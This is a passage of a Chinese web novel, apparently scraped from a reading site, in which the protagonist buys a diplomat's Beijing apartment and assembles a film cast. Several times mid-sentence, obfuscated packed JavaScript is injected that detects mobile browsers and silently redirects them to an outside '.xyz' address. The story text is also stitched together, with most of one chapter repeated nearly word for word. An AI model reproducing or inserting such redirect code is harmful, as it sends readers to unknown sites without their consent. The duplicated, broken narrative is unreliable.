现在卸任了,要回国,本想卖给自己的同事。 但几个同事一听这价格,纷纷表示买不起。 但他距离离任还有不到一周时间,房子着急出手,就把价格将来来一点。” 高远眼睛一亮,忙问道:“多少钱一平米啊?” 华侨公寓可是个好地段,在北三环边儿上,从北影厂骑车约半个小时的路程。 并且,150平的房子,对自己来说不大不小正合适,有了爱巢,就能跟大姐姐享受私密空间了。 就算自己不住,让大姐姐搬过去也可以嘛。 比跟王倩、刘冬几个人挤宿舍条件好太多了。 高跃华说道:“房东要价150块一平米,他不是着急走么,别人又买不起,放出话来价格还可以谈。” 高远立马说道:“那就麻烦大伯帮着问问吧,价格合适的话,这套房子我要了。” 第170章 把握机会的能力真强 啥米? 高远懵了,怎么就叫你姑父了? 难不成…… 咝! 高远把车子支好,两个大步跨上前,双手掐着靳鹏飞的脖子,道:“你个浓眉大眼的家伙什么时候跟我小姑好上的?从实招来,不然弄死你!” 靳鹏飞是个练家子,擒住他的手腕轻轻一掰,咔! 开了。 他还有点不好意思,嘿嘿笑道:“那个啥,慧芝嫂子给我俩介绍的,你也知道啊,你大伯对你小姑的个人问题很头疼,下达最高指示,让慧芝嫂子满四九城给你小姑介绍对象。 还有你母亲,也在医疗系统里帮着挑选合适的未婚男青年。 结果两个嫂子都没找到,不是家庭不合适,就是长相一般般。 一天我去接**上班,慧芝嫂子就拉着我聊了起来,先是拐弯抹角的打听我的家庭状况,个人情况,后又问我是否婚配了之类的。 我起初也没在意,只当嫂子刚和**成家,对**的身边人不太放心,就向她原原本本的说了一遍。 没成想过了两天,**递给我张火车票,跟我说,我觉得你跟我们家跃然挺合适的,你去临安跟她见一面,如果双方都没意见,就处处看。 我当时就懵了,拿着车票跟做梦似的,浑浑噩噩上了火车,半路上才缓过神来。” 高远愕然,“到了临安后见到我小姑,你俩就王八看绿豆,对眼儿了?” “混小子,再胡说八道,你看我敢不敢撕烂你这张破嘴的。”靳鹏飞瞪着眼说道。 李健群护犊子一般挺身向前,瞪着一双好看的杏核眼说道:“你试试的!” 高远笑得不行了,牵着好姐姐的小手,道:“别激动别激动,这不是外人,说不定将来真会成咱俩的小姑父。 还有你靳鹏飞,你也别在我面前端你小姑父的臭架子,起码现在为止你还不是我老高家的人。” 靳鹏飞挠头一笑,道:“是是是,你说得对,我还没进老高家的门,自然算不上老高家的人。小远,你女朋友很厉害啊。” “不是厉害,是疼我。”高远傲娇起来。 李健群俏脸一红,轻声道:“胡说什么呀?那个,靳同志,对不起啊,我刚才有点冲动了。” “没关系没关系,都是一家人,一家人不说两家话。走吧,我带着你俩先把正事儿办了,看房的人不少呢,别耽误了正经事。” 靳鹏飞主动推了自行车,带着两人进了车公庄西路30号院。 高远和李健群跟他并肩前行,边走边聊,“话说老靳,你今年到底多大啊?” 靳鹏飞笑着回答道:“我31了。” “31了为什么一直没结婚?” “家庭条件不好呗,我家门头沟的,那地儿啥都缺,就是不缺煤,但是黑金子在这年头儿属于战略物资,统购统销,我父母都在煤矿上工作,一年到头就那么几个死工资。 我家孩子多,我上有两个姐姐,下有一弟一妹。 养活这些孩子就够费钱的了,根本拿不出多余的钱来给我说亲娶媳妇。” 高远点点头,表示明白了,心说这家庭关系有点复杂啊。 小姑若是嫁进靳家,上面不仅有公有婆,还得面对俩大姑姐,下面还有个小叔子,一个小姑子。 她是泼辣,但面对这么复杂的人际关系,高远有点担心小姑应付不来。 “我是我们家第一个考出来工作的人,两个姐姐也都结婚了,我父母和姐姐们都是非常朴实厚道的人,对待他人也宽容,弟弟妹妹学习成绩都不错。 弟弟跟你同年考上的大学,目前就读于华东科技大学。 妹妹去年参加的高考,在北师大念书,比你姐低一级。” 当秘书的都很有眼色。 靳鹏飞敏锐地察觉到了高远的忧虑,马上补充了起来:“这些年工作期间,我也攒了不少钱,家庭压力小了很多,小远你放心,我不会让你小姑受委屈的。” 见他一副郑重其事,生怕自己搅黄了两人恋情的样子,高远乐了,拍拍他的肩膀 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15508271|168726||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 说道:“老话说,宁拆一座庙,不破一桩婚,我是那没德行的人么。” “你不是吗?” “我不是!” 靳鹏飞也笑了,“好吧,你不是。我给你俩介绍一下啊,这小区后面是工运学院,学校名气一般,就是一所大专院校,培养专项技术人才的。 但是环境特别好,你俩搬过来后吃过晚饭去校园里遛遛弯,就会发现景色特别宜人。” 高远连忙解释道:“老靳你想岔了啊,不是我俩搬过来,是只有李老师一个人搬过来。” 靳鹏飞笑得很猥琐,心说我这么大岁数了,还看不透你小子那点儿小心思? 李健群也偷摸在高远腰间掐了一把,你不解释还好,一解释,更显得此地无银三百两了。 夏天啊这是,穿得本来就薄,高远只穿了一件的确良衬衣,老腰被拧了一下,疼得他呲牙列嘴的,但他还不敢出声,只冲李老师古怪的笑着。 李老师更气了,哼了一声,心说,没皮没脸的玩意儿,我也看透你的心思了。 华侨公寓院内一共有四栋楼,每栋楼四层,面积在150——220之间。 高跃华给高远联系的这套在三号楼二层西户。 靳鹏飞带着两人走进单元门,上到二楼。 阿根廷那位参赞已经在屋里等着了。 房子里还有几位看房的款爷。 别以为这年头儿就没有有钱人,靠着政策,有钱人多了去了。 三人走进去,高远转了转,好家伙,客厅不小,有三十平左右,三间卧室,独立卫生间是抽水马桶干湿分离的那种,另外还有独立厨房连带着餐厅。 更难能可贵的是,家具倍儿新,一水儿的欧式,玻璃茶几下面的地毯一看就是产自波西米亚。 白色,绣着城堡围墙,四周花红柳绿亭台楼阁。 两个裸女在荡秋千。 房主四十多岁,个头不高,身材壮硕,胸肌有A,一脸标志性的南美络腮胡,正在跟前来看房的大款们侃侃而谈。 第171章 看房 大款们似乎对他的报价不甚满意,或带着老婆,或带着二奶呲牙咧嘴、不屑一顾。 靳鹏飞低声说道:“这家伙叫阿尔弗雷多·鲁杰里,是阿根廷驻中国大使馆的文化参赞,挺傲慢一人,但熟知中国文化,你跟他接触的时候别被他的表象蒙蔽了就成。” 高远点头道:“明白,看他一脸憨厚的样子,其实内心很脏。” 鲁杰里谈了几个,没谈成,垂头丧气送人离开。 一眼望见靳鹏飞和一对年轻人,立马神采奕奕走过来,热情地说道:“嗨,靳,我的朋友,这就是你说的那两位年轻人吗?看过房子,你们觉得怎么样?” 这货居然说一口流利的普通话。 不愧为文化参赞。 靳鹏飞跟他握手道:“阿尔弗雷多,拥抱就免了吧,你身上太味儿了,我实在不习惯。没错儿,这就是我跟你说过的两位年轻人,高远、健群,你这房子这二位相中了。 咱也别玩儿虚的,你说个实在价,二位买了。” 鲁杰里呲着一口大黄牙笑道:“130一平米已经很公道了,要知道,我若是不着急回国,这个价格我肯定不卖的。” 靳鹏飞拆穿了他的把戏,道:“正是因为你着急回国,所以你这套放在才卖不上价去,因为大家都知道你手里缺钱。你当初买的时候,每平米才90元。 这样吧,我们也不占你便宜,给你个公道的价格,100元每平,成,咱就立马交易。” 鲁杰里耸耸肩,道:“不可能的我的朋友,这个价格,我血亏。你似乎忘记了,我每年还要交物业费、水电费之类的,你不能把之前的生活成本让我倒贴进去。” 靳鹏飞还要说些什么,被高远拦住了。 他说道:“那就这样,一口价,110元每平,我用港币支付,这样也方便你兑换成美金带回国。” 高远是真心喜欢这套房子,没有公摊面积,屋里多少平房产证上就标注着多少平。 可利用面积太大了。 并且冰箱、彩电、洗衣机一应俱全。 鲁杰里布置这个家,花费了不少心思。 他只需要把床单被罩换一换,就是拎包入住的标准。 鲁杰里想了想,刚才那帮人都本着捡漏的想法来看房,没一个出价高出100元的,这位年轻人给的价格很厚道了。 于是干脆地答应下来,道:“那就这么说定了吧,不过,您得交些定金。” 高远问靳鹏飞道:“老靳,我如果付全款的话,需要多久能办好过户手续?” 靳鹏飞悠然一惊,拉着他的胳膊低声道:“你哪来那么多港币啊?” 高远笑道:“我给香港制片公司写了个剧本,挣了些钱。放心,都是正道上来的,经得起查。” 靳鹏飞看着他,苦笑道:“还是文艺战线的工作者挣钱呐。得嘞,我办的话,加紧也需要三天时间,这玩意儿得通过外事办和房管局共同批示。” “那我就全款买房,您给做个证明,我和鲁先生签个购房协议。” “没问题。” 鲁杰里一听,立马眉开眼笑,道:“小伙子,你真的确定一次性把钱给我吗?” 高远笑道:“恶妇考斯!” 鲁杰里拉着他的手,看看美丽动人的李健群,耸肩道:“不用征求一下这位美丽的姑娘的建议?” 李健群微笑着说:“我家的大事小情,高老师说了算,况且这套房子我也很喜欢。” 这就算是彻底在京城扎下根了,李老师开心得不得了。 “用你们中国话来说,你们夫妇是贤伉俪啊。”鲁杰里夸了一句。 高远很爽快,亲自起草了购房协议,著名在交款后此套房子不得再进行出售,违约者赔付购房人三倍的违约金。 有一说一,在这个年代里,类似于这种协议一点作用都起不到。 为啥呢? 《消费者权益保**》之类的法律法规还没有出台。 但是外国人比较注重这个,他们也注重名声,轻易不会干卷款潜逃的无耻勾当。 高远和鲁杰里把协议签了,又跑了趟中关村银行,找到崔杰把汇款单兑换了。 在崔杰幽怨的目光下交易成功。 鲁 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15515606|168726||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 杰里把房门钥匙郑重交给高远,道:“恭喜你年轻人,自此以后,你就是这套房子的主人了,希望你好好爱护它,保持房间的整洁…… 今后我再有机会来中国,说不定还会回家看看的。” “请老鲁放心,我一定会好好爱护这套房子的。” 高远心说,**隔壁的,等手续办完,哥们儿第一件事就是把全屋的床都给换了。 谁知道丫在床上跟多少外国女人翻过云覆过雨啊,那床单都泛黄了,忒恶心人! 两人交流了几句,鲁杰里又把自己的证件复印件和房本交给靳鹏飞,这才告辞离开。 “行了,房本到手你也可以安心了,等着拿新房本就是了。”靳鹏飞笑着说。 高远点点头,道:“辛苦老靳了。” “叫姑父!” “你知道钵大的拳头有多大吗?” 靳鹏飞瞥他一眼,抬腿走了。 崔杰欲言又止。 高远拍拍他的手背道:“放心,外汇不日还有一笔。” 崔杰招呼小张道:“抓紧给高老师抬两袋小占米来!” 高远抱着两袋小占米笑着离开。 两人回到北影厂。 李老师有些郁郁寡欢。 高远问她道:“怎么了你这是?” 李健群叹声气,道:“远子,我突然对林周云这个人物深入不进去了,找不到感觉呢。” 高远愣了愣,又道:“怎么会这样?说说你的对这个人物的理解,行吧?” 李健群边往楼上走,边说道:“我前段儿不是一直在河北拍戏么,我戏份不多了,闲暇时就钻研林周云这个角色,发现林周云是孤独的。 尤其在她丈夫出国以后,她作为留守城市的女人,又经历了流产的痛苦,更加孤独、无助。 她生活能力极差,有一天在家里杀鸡都弄得乱七八糟。 这时候,她想起了在机场偶遇,且境遇相同的顾颜,于是求顾颜帮忙。 这才有了两个人的第一次亲密接触。 但是怎么表现林周云孤单寂寞的心情,我没有生活,思来想去也表现不出来。” 第172章 李老师的困惑 大款们似乎对他的报价不甚满意,或带着老婆,或带着二奶呲牙咧嘴、不屑一顾。 靳鹏飞低声说道:“这家伙叫阿尔弗雷多·鲁杰里,是阿根廷驻中国大使馆的文化参赞,挺傲慢一人,但熟知中国文化,你跟他接触的时候别被他的表象蒙蔽了就成。” 高远点头道:“明白,看他一脸憨厚的样子,其实内心很脏。” 鲁杰里谈了几个,没谈成,垂头丧气送人离开。 一眼望见靳鹏飞和一对年轻人,立马神采奕奕走过来,热情地说道:“嗨,靳,我的朋友,这就是你说的那两位年轻人吗?看过房子,你们觉得怎么样?” 这货居然说一口流利的普通话。 不愧为文化参赞。 靳鹏飞跟他握手道:“阿尔弗雷多,拥抱就免了吧,你身上太味儿了,我实在不习惯。没错儿,这就是我跟你说过的两位年轻人,高远、健群,你这房子这二位相中了。 咱也别玩儿虚的,你说个实在价,二位买了。” 鲁杰里呲着一口大黄牙笑道:“130一平米已经很公道了,要知道,我若是不着急回国,这个价格我肯定不卖的。” 靳鹏飞拆穿了他的把戏,道:“正是因为你着急回国,所以你这套放在才卖不上价去,因为大家都知道你手里缺钱。你当初买的时候,每平米才90元。 这样吧,我们也不占你便宜,给你个公道的价格,100元每平,成,咱就立马交易。” 鲁杰里耸耸肩,道:“不可能的我的朋友,这个价格,我血亏。你似乎忘记了,我每年还要交物业费、水电费之类的,你不能把之前的生活成本让我倒贴进去。” 靳鹏飞还要说些什么,被高远拦住了。 他说道:“那就这样,一口价,110元每平,我用港币支付,这样也方便你兑换成美金带回国。” 高远是真心喜欢这套房子,没有公摊面积,屋里多少平房产证上就标注着多少平。 可利用面积太大了。 并且冰箱、彩电、洗衣机一应俱全。 鲁杰里布置这个家,花费了不少心思。 他只需要把床单被罩换一换,就是拎包入住的标准。 鲁杰里想了想,刚才那帮人都本着捡漏的想法来看房,没一个出价高出100元的,这位年轻人给的价格很厚道了。 于是干脆地答应下来,道:“那就这么说定了吧,不过,您得交些定金。” 高远问靳鹏飞道:“老靳,我如果付全款的话,需要多久能办好过户手续?” 靳鹏飞悠然一惊,拉着他的胳膊低声道:“你哪来那么多港币啊?” 高远笑道:“我给香港制片公司写了个剧本,挣了些钱。放心,都是正道上来的,经得起查。” 靳鹏飞看着他,苦笑道:“还是文艺战线的工作者挣钱呐。得嘞,我办的话,加紧也需要三天时间,这玩意儿得通过外事办和房管局共同审批。” “那我就全款买房,您给做个证明,我和鲁先生签个购房协议。” “没问题。” 鲁杰里一听,立马眉开眼笑,道:“小伙子,你真的确定一次性把钱给我吗?” 高远笑道:“恶妇考斯!” 鲁杰里拉着他的手,看看美丽动人的李健群,耸肩道:“不用征求一下这位美丽的姑娘的建议?” 李健群微笑着说:“我家的大事小情,高老师说了算,况且这套房子我也很喜欢。” 这就算是彻底在京城扎下根了,李老师开心得不得了。 “用你们中国话来说,你们夫妇是贤伉俪啊。”鲁杰里夸了一句。 高远很爽快,亲自起草了购房协议,著名在交款后此套房子不得再进行出售,违约者赔付购房人三倍赔偿金。 有一说一,在这个年代里,类似于这种协议一点作用都起不到。 为啥呢? 《消费者权益保**》之类的法律法规还没有出台。 但是外国人比较注重这个,他们也注重名声,轻易不会干卷款潜逃的无耻勾当。 高远和鲁杰里把协议签了,又跑了趟中关村银行,找到崔杰把汇款单兑换了。 在崔杰幽怨的目光下交易成功。 鲁杰里把 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15515607|168726||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 房门钥匙郑重交给高远,道:“恭喜你年轻人,自此以后,你就是这套房子的主人了,希望你好好爱护它,保持房间的整洁…… 今后我再有机会来中国,说不定还会回家看看的。” “请老鲁放心,我一定会好好爱护这套房子的。” 高远心说,**隔壁的,等手续办完,哥们儿第一件事就是把全屋的床都给换了。 谁知道丫在床上跟多少外国女人翻过云覆过雨啊,那床单都泛黄了,忒恶心人! 两人交流了几句,鲁杰里又把自己的证件复印件和房本交给靳鹏飞,这才告辞离开。 “行了,房本到手你也可以安心了,等着拿新房本就是了。”靳鹏飞笑着说。 高远点点头,道:“辛苦老靳了。” “叫姑父!” “你知道钵大的拳头有多大吗?” 靳鹏飞瞥他一眼,抬腿走了。 崔杰欲言又止。 高远拍拍他的手背道:“放心,外汇不日还有一笔。” 崔杰招呼小张道:“抓紧给高老师抬两袋小占米来!” 高远抱着两袋小占米笑着离开。 两人回到北影厂。 李老师有些郁郁。 高远问她道:“怎么了你这是?” 李健群叹声气,道:“远子,我突然对林周云这个人物深入不进去了,迟迟找不到感觉呢。” 高远愣了愣,又道:“说说你的对这个人物的理解,哪方面没感觉了?” 李健群边往楼上走,边说道:“我前段儿不是一直在河北拍戏么,我戏份不多了,闲暇时就钻研林周云这个角色,发现林周云是孤独的。 尤其在她丈夫出国以后,她作为留守城市的女人,又经历了流产的痛苦,更加孤独、无助。 她生活能力极差,有一天在家里杀鸡都弄得乱七八糟。 这时候,她想起了在机场偶遇,且境遇相同的顾颜,于是求顾颜帮忙,相处并不愉快。 但这也才有了两个人的第一次交集。 但是怎么表现林周云孤单寂寞的心情,我没有生活,思来想去也表现不出来。” 第173章 体验生活 高远开门进了屋,等李老师也走进来,他把门关好,这会儿倒是不怕那些个闲言碎语了。 两人的情侣关系在厂里公开了。 拉着李老师的小手在沙发上坐了,高远想了想说道:“找不到孤单寂寞的心情,我给你出个主意,那就去体验生活吧。” 李健群被他摩挲得手背发痒,抽了抽,没抽回来,索性任由他握着,道:“怎么体啊?” 这年头儿拍戏,演员也的确讲究体验生活,更讲究演啥像啥。 比如说你演个老工人,就要深入到工厂第一线——车间里去跟着老师傅们干活、工作。 要跟工人老大哥们同吃同住同劳动,才能切身体会到他们工作的艰辛,才能在表演过程中激发你的创作性。 医生、老师、国家工作人员等等同理。 李健群不明白的是,这种孤单的感觉如何体验? 因为它只是一种心境,太模糊了。 高远的手又不老实起来,摸完小手还不过瘾,又去搂李老师盈盈一握的纤细腰肢。 已到初夏,李老师穿一条连衣裙,面料是什么质地的高远也不清楚,但紧紧贴在白嫩的肌肤上,触之非常丝滑。 “打明天起,你身上带几毛钱,坐公交车满大街溜,望望车窗外的风景啊,看看京城的变化啊之类的。坐累了就下车,哪儿热闹往哪儿钻,体验那种离群、萧瑟的感觉。” 高远笑着说道。 李健群扭着身子,俏脸像是被蒙上了一块红布,她虽说还有些羞涩,但自打被身边这个臭弟弟偷亲了一口后,感受到他对自己浓烈、炽热的爱意,也渐渐习惯了他时不时的骚扰。 过来人张金玲大姐曾跟她说过,男人啊,都一个德行,得不到的才是最好的,所以说你要矜持点啊,千万别让高远那小子说几句甜言蜜语就得手了。 但也不能太矜持,该给甜头儿的时候还是得给,但要掌握个度。 李老师谦虚地请教道:姐,这个度怎么掌握呢? 张金玲大姐嘿嘿笑道:他要的时候你别给,等他垂头丧气了,诶你主动亲他一下,别亲嘴啊,亲腮帮子。 他眼睛一亮,刚想有下一步动作,诶你又撤退了。 总之就是在给与不给之间反复拉扯,即让他感觉到有那么点儿希望,又不能让他彻底失望。 李老师:您可真损呐。 张金玲笑道:都是生活经验啊。 李老师按照张老师传授的方法试验过几次,效果出奇的好,打一巴掌给个甜枣,小远子乐得屁颠儿屁颠儿的。 或许是两人分开的时间有点长,已经小半个月没见面了,今儿对面高远的咸猪手,李老师就有点遭不住了,浑身发烫,芳心如蜜,不忍心拒绝。 她强行集中精力,想了想后说道:“这倒是个好办法,成吧,从明天开始,咱俩就暂时别见面了,让我一个人去体验那种孤单寂寞感。” 高远唾面自干,“用不着这么绝吧,面该见还是要见的,我妈还说让你得空回家吃饭呢。” 李健群把高远的狗爪子从腰间拿开,捧着他的脸温柔一笑,道:“就这么说定了,你跟阿姨说,等我找到人物感觉了,开拍前肯定去家里吃饭。” 她在高远脸颊上蜻蜓点水了一下,赶忙起身呵呵笑着跑了。 “我这不是自个儿给自个儿挖了个坑么。”高远摸着腮帮子苦笑一声。 《大撒把》正式进入到筹备期,进展飞快。 文化部某大领导亲批,给北影厂增加了一个拍摄指标。 王好为在跟高远商量过后决定,她暂时把工作重心放在《李志远》的后期制作上面。 这也是一部有望冲击奖项的影片。 高远看了一遍粗剪的片子,不得不承认,濮存昕饰演的李志远,无论是人物形象还是表演深度都被他诠释得无可挑剔。 这部片子以他为主,局限性是假若参评也只会竞争最佳男主角这个单一的奖项。 当然还有那些技术类奖项,最佳编剧奖啊,最佳故事片奖之类的。 李老师在这部戏里只有两组镜头,第一组是在家里帮他收拾行李,第二组是送他上火车,看着火车开动默默垂泪转身离去。 连个配角都算不上,纯是一个打酱油的。 高远很 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15519584|168726||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 清楚,明年恢复的第三届百花奖评选,设置的奖项只有最佳编剧、最佳导演,最佳男女主、男女配和最佳新人七个奖项。 连技术类奖项都没有。 这也是他为什么急吼吼为李老师专门创作一部影片的原因。 从恢复后的百花奖开始,他就要让李老师彻底在国内影视圈站稳脚跟,然后盛放。 导演把心思放在《李志远》的后期制作上面,高远的工作就得往《大撒把》上倾斜了。 他忙得不可开交,借用了主楼一间会议室,召集主创和演员们过来开会。 天上掉下来个男主角,让葛优喜出望外。 他已经参加完全总文工团的招录学员考试了。 见他笑嘻嘻走进来,高远迎上去跟他抱了抱,问道:“看样子考得不错啊,有希望没?” 葛优咧嘴一笑,道:“个人感觉还不错,老师们让等通知,那就安心等着呗,反正尽人事听天命。” “心态挺平和。” “我以为你开玩笑呢,没成想真给我弄了个男主角,你这朋友我交定了。” 不是冲着李老师的美貌才跟我交朋友的吧? 高远默默吐槽了一句,一笑,说道:“回头喊上梁老师,咱一起找个桃花园,摆上酒肉,冲关老爷的铜像一个头磕地上,也来个桃园三结义,如何?” “论年龄你可是张飞张翼德,可当不了领头儿的,亏了。” “谁领头儿不重要,重要的是感情。” 俩人正哈拉着,又有俩人走进来。 “高老师对吧?您好您好,久闻大名今日得见真颜,您果然一表人才啊。” 这话自带一股子文人雅士的酸腐,高远不用看就知道濮存昕来了。 一瞧,果然是他。 哎呀,斯文败类、道貌岸然,满口的仁义道德,一肚子男盗女娼,说的就是你啊。 你太适合扮演这类角色了。 他后面还跟着个形象气质丝毫不差于他的杨立新。 高远热情极了,上前跟老濮握手道:“濮老师过誉了,您才是影坛新秀,明日巨星,有幸跟您合作,我三生荣幸。” 第174章 演员到齐 濮存昕挂着一脸书生笑,很文范的样子,道:“咱俩就别互相吹捧了,《李志远》那故事好极了,我特别感谢导演和高老师能给你这个出演李志远的机会。 严格说,咱俩算是合作过一次了,虽然之前没见过面,但我从导演和主创团队工作人员口中了解了不少高老师的事迹。 这算是第二次合作,也不对,我算客串。 健群同志给《李志远》客串了一次,我也来帮帮她的忙。” 高远乐了,“健群在《李志远》中扮演您的妻子,您这次来《大撒把》剧组客串她的丈夫,说起来也挺凑巧的。” 濮存昕也笑了,“是挺巧。对了,我给你介绍一下,这位是杨立新同志,立新是我人艺的同事。” 杨立新操着一口公鸭嗓笑容满面跟高远握手,道:“高老师您好。” 你好啊贾志国。 “杨老师您好。”高远跟他握了握,客气道。 简单寒暄了几句,高远请两人入座。 “小远砸,你怎么想起来邀请姐演你这部戏啊?” 紧接着,一个窈窕淑女聘聘婷婷走进来。 她长发披肩,穿一条天蓝色连衣裙,白袜子高跟凉鞋,眉目如画、风情万种。 呀,嫦娥到了。 高远嘿嘿笑道,走过去和她拥抱了一下,道:“宁姐,好久不见了。” 邱沛宁打他一下,“又占姐便宜,小时候你就这样儿,老跟姐手动动脚的,没想到你小子长大了还这副臭德行。 咱俩上次见面我记得是在三年前吧,你还在读高中呢,有一次在大马路上碰到了,说了一会儿话,后面就再也没有联系过了。 快说,你怎么突然想起姐来了?” “我知道姐在军区战友歌舞团工作,就请您来救救急。” “救急?” “弟弟这不是刚入电影圈么,认识的演员不多,就把姐想起来了。姐放心,这个角色很适合姐发挥。” 邱沛宁瞪他一眼,道:“你少说点儿好听的甜乎姐吧,钱导拿着剧本找到我,我看过剧本后发现,顾颜妻子这个角色可不怎么地道。 简直就是个…… 怎么形容呢? 为了出国不顾一切,表面上对丈夫万分不舍,内心里极其向外国外生活,表里不一的女人。 虽然没几句词儿,但是想把这个角色塑造好,却也不是件简单的事情。” 高远一笑,道:“宁姐,您是做了大量功课后过来的呀,看来您很有信心演好这个角色。” “钱导一说是你小子专门邀请我,别人的面子我不给,你的面子姐还是要照顾到的。” 邱沛宁飒然一笑,又道:“出息了啊,去年底我们全家看《瞧这一家子》,你邱伯伯说,这个叫高远的编剧是小远子,把我和你邱大妈吓一跳。 你大妈问,就是老高家那个活猴子?偷咱家鸡跑到荒郊野地里烤着吃那小子? 我爸说是。 前两天我回家,把你邀请我演电影这事儿跟你大妈一说。 你大妈让我转告你啊,先把鸡赔了。” 高远哈哈大笑道:“这都多少**儿了,我大妈还记着呢。” “记忆犹新!”邱沛宁笑道。 大家都乐得不行了。 哈拉两句,高远给邱沛宁介绍了李健群。 “呀,你真漂亮。”邱沛宁拉着李健群的手说道。 “你也很有气质呀。”李健群温婉地说道。 随后,张金玲、方舒、谢园、何伟以及主创团队全都到了。 方舒看着高远,心情复杂。 《瞧这一家子》筹备的时候,她争取过小红一角,惜败于李老师。 后来听说,李健群是高远亲点的。 她心里多少有点不服气,论演技,自己是科班出身,李健群只是学画画的。 论长相,自己也不比她差吧? 再后来她知道了两人之间的情侣关系,清楚高远就是在捧李老师,那颗好胜心就慢慢地平和下来。 在北影厂演员剧团工作,是不缺戏拍的。 她虽然还没正经上过戏,但已经预定了一部《年轻的朋友》,目前正在创作剧本。 突然接到高远的邀请,让她出演他的新片《大撒把》中张絮一角,方舒其实很想拒绝。 但又一想,虽然角色分量不重,但也是个历练,就算为《年轻的朋友》积攒表演经验了。 所以方舒才答应下来。 见人到齐了,高远对钱康说道:“老钱,去请导演吧。” 35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15519585|168726||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' >钱康说声好,起身往外面走,十多分钟后和王好为一起回来。 又是一阵起身握手。 王好为落座后环视一圈,笑着说:“大家别见怪啊,我最近太忙了,既得盯着《李志远》的后期制作,还得兼顾《大撒把》的筹备工作,有怠慢的地方,大家多见谅吧。” 大家都说理解理解,导演忙是应该的。 王好为看一眼高远,见他点头,继续道:“好了,我们进入正题,今天把大家伙儿喊过来,第一是让大家互相认识认识。我先给大家介绍一下。” 随即,她先给大家介绍了幕后团队成员。 制片主任:田渝平。 责任编辑:赵海成。 摄影师:张新民。 艺术策划、编剧:高远。 副导演:钱康。 服装设计师:李健群。 紧接着是演员:“顾颜的扮演者,葛优。” 葛大爷连忙起身冲大家微微鞠躬,问好。 同志们打量着他,身量不高,驼背,歪肩膀,五官倒也和谐,浓眉,中小眼儿,大板牙有点龅,咧嘴一笑给人一种莫名的亲切感。 这个男主角选得有点邪性啊。 王好为让葛优坐了,继续介绍道:“林周云的扮演者,李健群。” 李老师也起身向大家问好:“请大家多多关照。” “小红你好。” “哎呀,李老师**比电影里更温婉呢。” “晓霞,我去中宁县支教,三年就回,家里,就全托付给你了,辛苦。” 这是《李志远》中的台词,自然是濮存昕说的。 李老师也很配合他,道:“志远,你也要保重身体,爸妈和孩子……你交给我吧,我会照顾好的,放心。” 大家都笑了起来。 王好为也乐了,又道:“好了好了,你俩要切磋演技,私底下进行。 我继续介绍,杨仲的扮演者,杨立新同志。 顾颜妻子的扮演者,邱沛宁。 张絮的扮演者,方舒。 井玲的扮演者,张金玲。 帕劳领事由北电的在校生谢园同学扮演。” 大家再看这位,怕不是得有三十好几了吧? 三十多岁的在校生,您是被特殊照顾录取的吗? 第175章 营造氛围 谢园确实长得老相,二十出头就跟三十多岁似的。 这也是高远为什么选择他来出演帕劳领事的原因,不用化妆就是个中年人啊。 葛优瞧着他,生出了一种惺惺相惜的感觉。 这家伙,跟我是同一类人啊。 他暗暗留心起来了。 王好为又把何伟介绍给大家,说律师一角由何伟出演。 何伟,1956年出生于吉林省长春市,毕业于北电,74年考入长春歌舞团话剧队。 属于那种名声不显,看脸绝对熟悉的演员。 前文说过,《大撒把》角色很少,台词比较多的就四个人,首屈一指肯定是男女主角,其次是杨仲和妻子张絮。 